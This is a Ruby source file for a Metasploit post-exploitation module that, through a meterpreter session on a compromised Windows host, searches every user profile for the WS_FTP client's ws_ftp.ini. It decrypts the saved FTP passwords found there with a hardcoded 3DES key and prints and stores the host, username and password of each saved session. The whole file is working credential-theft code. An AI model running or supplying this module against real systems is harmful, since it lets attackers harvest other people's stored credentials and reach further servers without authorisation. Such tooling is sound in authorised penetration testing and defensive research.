112 lines
3.0 KiB
Ruby
112 lines
3.0 KiB
Ruby
# $Id$
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'rex/parser/ini'
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require 'msf/core/post/windows/registry'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather WS_FTP Saved Password Extraction',
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'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords
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from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file. },
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'License' => MSF_LICENSE,
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'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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print_status("Checking Default Locations...")
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os = session.sys.config.sysinfo['OS']
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drive = session.fs.file.expand_path("%SystemDrive%")
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if os =~ /Windows 7|Vista|2008/
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@appdata = '\\AppData\\Roaming\\'
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@users = drive + '\\Users'
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else
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@appdata = '\\Application Data\\'
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@users = drive + '\\Documents and Settings'
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end
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get_users
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@userpaths.each do |path|
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check_appdata(path)
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end
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end
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def check_appdata(path)
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filename = "#{path}#{@appdata}\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini"
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begin
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iniexists = client.fs.file.stat(filename)
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print_status("Found File at #{filename}")
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get_ini(filename)
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rescue
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print_status("#{filename} not found ....")
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end
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end
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def get_users
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@userpaths = []
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session.fs.dir.foreach(@users) do |path|
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next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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@userpaths << "#{@users}\\#{path}\\"
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end
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end
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def get_ini(filename)
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config = client.fs.file.new(filename, 'r')
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parse = config.read
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ini = Rex::Parser::Ini.from_s(parse)
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ini.each_key do |group|
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next if group == "_config_"
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print_status("Processing Saved Session #{group}")
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host = ini[group]['HOST']
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host = host.delete "\""
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username = ini[group]['UID']
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username = username.delete "\""
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port = ini[group]['PORT']
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passwd = ini[group]['PWD']
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passwd = decrypt(passwd)
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next if passwd == nil or passwd == ""
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port = 21 if port == nil
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print_good("Host: #{host} Port: #{port} User: #{username} Password: #{passwd}")
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report_auth_info(
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:host => host,
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:port => port,
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:sname => 'FTP',
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:user => username,
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:pass => passwd)
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end
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end
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def decrypt(pwd)
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decoded = pwd.unpack("m*")[0]
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key = "\xE1\xF0\xC3\xD2\xA5\xB4\x87\x96\x69\x78\x4B\x5A\x2D\x3C\x0F\x1E\x34\x12\x78\x56\xab\x90\xef\xcd"
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iv = "\x34\x12\x78\x56\xab\x90\xef\xcd"
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des = OpenSSL::Cipher::Cipher.new("des-ede3-cbc")
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des.decrypt
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des.key = key
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des.iv = iv
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result = des.update(decoded)
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final = result.split("\000")[0]
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return final
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end
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end
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